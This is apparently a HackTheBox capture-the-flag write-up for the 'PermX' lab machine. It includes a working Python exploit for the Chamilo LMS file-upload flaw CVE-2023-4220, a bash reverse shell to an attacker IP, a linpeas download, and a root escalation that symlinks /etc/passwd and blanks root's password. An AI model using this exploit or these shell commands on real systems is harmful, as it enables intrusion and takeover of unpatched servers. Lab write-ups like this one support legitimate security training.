PermX – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: HackTheBox

‘PermX’ Avatar


Summary Link to heading

“PermX” is an easy machine from HackTheBox platform. We are able to find that the victim target is running a webserver, vhosting a vulnerable version of Chamilo LMS that is vulnerable to Remote Code Execution (CVE-2023-4220). This allow us to gain initial access to the victim machine. We are then able to get credentials for a user after inspecting configurations files in the victim machine. Pivoting to this new user, shows it can run a custom script as root that allow us to create a symbolic link to senstive files and edit them. Therefore, we are able to edit /etc/shadow and delete/change the password for root user and take the control of this account.


User Link to heading

Starting with a quick Nmap scan shows only 2 ports open:

❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.23

where we can see 2 ports open: 22 SSH and 80 HTTP.

Checking its versions/details we have:

❯ sudo nmap -sVC -p22,80 10.10.11.23 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-14 19:06 -04
Nmap scan report for 10.10.11.23
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.35 seconds

From the output we see that the HTTP site redirects to permx.htb, so we add this domain to my /etc/hosts file running:

❯ echo '10.10.11.23 permx.htb' | sudo tee -a /etc/hosts

Once added, we scan the site http://permx.htb with WhatWeb:

❯ whatweb -a 3 http://permx.htb

http://permx.htb [200 OK] Apache[2.4.52], Bootstrap[5.0.0], Country[RESERVED][ZZ], Email[permx@htb.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], JQuery[3.4.1], Script, Title[eLEARNING]

but we do not see much info besides an email permx@htb.com.

We then visit the website on a web browser, where we can see:

PermX 1

I visit the site, but I only see html pages and if we click on Join Now it just redirects to the main page. At this point I decide to look for hidden directories through a Brute Force Directory Listing with Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://permx.htb -t 55  --add-slash

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://permx.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img/                 (Status: 200) [Size: 4406]
/icons/               (Status: 403) [Size: 274]
/css/                 (Status: 200) [Size: 1140]
/lib/                 (Status: 200) [Size: 1714]
/js/                  (Status: 200) [Size: 922]
/server-status/       (Status: 403) [Size: 274]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

but I do not find any interesting directory.

Then, I decide to search for vhosts using ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://permx.htb/ -H 'Host: FUZZ.permx.htb' -t 30 -fw 18

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://permx.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 30
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 18
________________________________________________

www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 162ms]
lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 196ms]
:: Progress: [4989/4989] :: Job [1/1] :: 184 req/sec :: Duration: [0:00:26] :: Errors: 0 ::

and we find 2 new subdomanis: www.permx.htb and lms.permx.htb.

I add these new domains to my /etc/hosts file, so it now looks like:

❯ tail -n 1 /etc/hosts

10.10.11.23 permx.htb www.permx.htb lms.permx.htb

Visiting www.permx.htb just shows the site http://permx.htb. Visiting http://lms.permx.htb shows a login panel:

PermX 2

where we have a portal running Chamilo LMS.

Info
Chamilo LMS is a learning management system designed to support effective online education (often referred to as e-learning).

Searching for recent exploits for this software we find a vulnerability labeled as CVE-2023-3533. This page explains how the exploit works, but this exploit did not work in the victim machine. Then, we also find another vulnerability labeled as CVE-2023-4220. This page provides a Proof of Concept (PoC) for this vulnerability:

$ echo '<?php system("id"); ?>' > rce.php

$ curl -F 'bigUploadFile=@rce.php' 'http://<chamilo>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

The file has successfully been uploaded.

$ curl 'http://<chamilo>/main/inc/lib/javascript/bigupload/files/rce.php'

uid=33(www-data) gid=33(www-data) groups=33(www-data)

where I adapt it to a Python script as:

#!/usr/bin/python3
import requests
import argparse
from sys import exit as sysexit
from os import remove as osremove


def parse_arguments()->argparse.Namespace:
    parser = argparse.ArgumentParser(description='Process some flags.')
    
    # Add arguments
    parser.add_argument('-u', '--url', type=str, help='URL running Chamilo LMS. Example: http://example-target.com', required=True)
    parser.add_argument('-c', '--command', type=str, help='System command to run in the victim target', required=True)
    parser.add_argument('-f', '--filename', type=str, help='PHP filename/payload to upload to the target. Default: poc.php', default='poc.php')
    # Return parsed arguments
    return parser.parse_args()


def create_payload(args:argparse.Namespace)->None:
    # Create and write the file that contains the payload
    php_code = f'<?php system("{args.command}"); ?>'
    with open(args.filename, 'w') as file:
        file.write(php_code)
    print(f"[+] Creating the PHP file/payload with the command {args.command!r}...")
    return


def upload_payload(args: argparse.Namespace)->None:
    # Set the url to attack
    upload_url: str = f'{args.url}/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
    print("[+] Attempting to upload the payload...")
    with open(args.filename, 'rb') as file:
        files = {'bigUploadFile': file}
        try:
            response = requests.post(upload_url, files=files)
        except Exception as err:
            print(f"[-] Something happened when attempting to load the payload:\n{err}")
            sysexit(1)
    if response.status_code != 200:
        print(f"[-] Bad status code in POST request: HTTP Status Code {response.status_code}")
        sysexit(1)
    print(f"[+] Server response:\n{response.text}")
    return


def get_payload(args: argparse.Namespace)->None:
    # Set the url where the file should be uploaded
    access_url = f'{args.url}/main/inc/lib/javascript/bigupload/files/{args.filename}'
    print("[+] Attempting to get the content of the uploaded file...")
    try:
        # Access the uploaded file
        response = requests.get(access_url)
    except Exception as err:
        print(f"[-] Something happened:\n{err}")
        sysexit(1)
    # Print the response from the access request
    print(f"[+] Uploaded file content:\n{response.text}")
    return


def main()->None:
    # Get argument from the user
    args = parse_arguments()
    print(f"[+] Attacking {args.url!r}...")
    # Create the file/payload
    create_payload(args)
    try:
        # Upload the payload
        upload_payload(args)
        # Get the content of the payload
        get_payload(args)
    finally:
        # Remove the file/payload we have created
        osremove(args.filename)

if __name__ == "__main__":
    main()

I save it as CVE-2023-4220.py (also available at my Github repository). To check if this works I will start a listener with tcpdump for ICMP traces:

❯ sudo tcpdump -ni tun0 icmp

where tun0 is the HackTheBox net interface name.

Then execute the script/exploit:

❯ python3 CVE-2023-4220.py -u http://lms.permx.htb -c 'ping -c1 10.10.16.9'

[+] Attacking 'http://lms.permx.htb'...
[+] Creating the PHP file/payload with the command 'ping -c1 10.10.16.9'...
[+] Attempting to upload the payload...
[+] Server response:
The file has successfully been uploaded.
[+] Attempting to get the content of the uploaded file...
[+] Uploaded file content:
PING 10.10.16.9 (10.10.16.9) 56(84) bytes of data.
64 bytes from 10.10.16.9: icmp_seq=1 ttl=63 time=292 ms

--- 10.10.16.9 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 291.716/291.716/291.716/0.000 ms

and in my tcpdump listener I get:

❯ sudo tcpdump -ni tun0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
20:19:20.741360 IP 10.10.11.23 > 10.10.16.9: ICMP echo request, id 3, seq 1, length 64
20:19:20.741374 IP 10.10.16.9 > 10.10.11.23: ICMP echo reply, id 3, seq 1, length 64

so we have reached a Remote Code Execution as the report described.

Therefore, we start a netcat listener on port 443:

❯ nc -lvnp 443

listening on [any] 443 ...

and send a reverse shell to our attacker machine:

❯ python3 CVE-2023-4220.py -u http://lms.permx.htb -c "bash -c 'bash -i >& /dev/tcp/10.10.16.9/443 0>&1'"

[+] Attacking 'http://lms.permx.htb'...
[+] Creating the PHP file/payload with the command "bash -c 'bash -i >& /dev/tcp/10.10.16.9/443 0>&1'"...
[+] Attempting to upload the payload...
[+] Server response:
The file has successfully been uploaded.
[+] Attempting to get the content of the uploaded file...

where 10.10.16.9 is our attacker IP address and 443 the port we are listening.

In our netcat listener we get a shell as www-data:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.23] 55936
bash: cannot set terminal process group (1189): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ whoami
<ilo/main/inc/lib/javascript/bigupload/files$ whoami

www-data

We decide to upload LinPEAS to the victim machine. For this we can start a temporal HTTP Python server on port 8080:

❯ ls -la && python3 -m http.server 8080

total 860
drwxr-xr-x  2 gunzf0x gunzf0x   4096 Jun  1 23:39 .
drwxr-xr-x 12 gunzf0x gunzf0x   4096 Feb 21 22:21 ..
-rwxr-xr-x  1 gunzf0x gunzf0x 862779 May 26 00:29 linpeas.sh
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

and then download it and assign to it execution permissions to that file:

www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ wget http://10.10.16.9:8080/linpeas.sh -O /tmp/linpeas.sh

<SNIP>

www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ chmod +x /tmp/linpeas.sh

www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ /tmp/linpeas.sh

<SNIP>

After executing LinPEAS we can see some credentials:

<SNIP>
╔══════════╣ Searching passwords in config PHP files
/var/www/chamilo/app/config/configuration.php:                'show_password_field' => false,
/var/www/chamilo/app/config/configuration.php:                'show_password_field' => true,
/var/www/chamilo/app/config/configuration.php:        'wget_password' => '',
/var/www/chamilo/app/config/configuration.php:    'force_different_password' => false,
/var/www/chamilo/app/config/configuration.php:$_configuration['auth_password_links'] = [
/var/www/chamilo/app/config/configuration.php:$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
/var/www/chamilo/app/config/configuration.php:$_configuration['password_encryption'] = 'bcrypt';
/var/www/chamilo/app/config/configuration.php:/*$_configuration['password_requirements'] = [
/var/www/chamilo/app/config/configuration.php://$_configuration['email_template_subscription_to_session_confirmation_lost_password'] = false;
<SNIP>

where we can see the password 03F6lY3uXAP2bkW8.

We also note there is a user called mtz:

www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ ls /home

mtz

We check if this password and this user are valid credentials with NetExec via SSH:

❯ netexec ssh 10.10.11.23 -u 'mtz' -p '03F6lY3uXAP2bkW8'

SSH         10.10.11.23     22     10.10.11.23      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.23     22     10.10.11.23      [+] mtz:03F6lY3uXAP2bkW8  (non root) Linux - Shell access!

and they work.

We then connect to the machine via SSH as mtz user:

❯ sshpass -p '03F6lY3uXAP2bkW8' ssh -o stricthostkeychecking=no mtz@10.10.11.23

<SNIP>
mtz@permx:~$ ls

user.txt

where we can get the user flag.


Root Link to heading

Checking what can this user run with sudo we have:

mtz@permx:~$ sudo -l

Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh

where I see we can run the script /opt/acl.sh without providing a password.

Checking this script:

#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if ` "$target" != /home/mtz/* || "$target" == *..* `; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

This Bash script is designed to set file access control lists (ACLs) for a specified user on a specified file. Based on GTFOBins, as explained here, we can use setfacl to assign permission to files system.

Nevertheless, the script has 2 restrictions:

  1. The file must be located at /home/mtz directory.
  2. The filename cannot have .. in its name. Attempt a Directory Traversal is not possible.

After thinking about it we can try to create a symbolic link to /etc/passwd and locate it at /home/mtz:

mtz@permx:~$ ln -s /etc/passwd /home/mtz/passwd_copy

Then just run the script:

mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/passwd_copy

We did not get any errors, maybe this worked.

If this has worked, now we should be able to edit /etc/passwd file. I edit the file using nano inside the target machine (just execute nano /home/mtz/passwd_copy or nano /etc/passwd) and only change the line:

root:x:0:0:root:/root:/bin/bash

to

root::0:0:root:/root:/bin/bash

I.e., now root user does not ask for a password to log in as this user.

Therefore, once we have edited /etc/passwd through the symbolic link, we just run:

mtz@permx:~$ su root

root@permx:/home/mtz# whoami

root

GG. We can get the user root flag at /root directory.

~Happy Hacking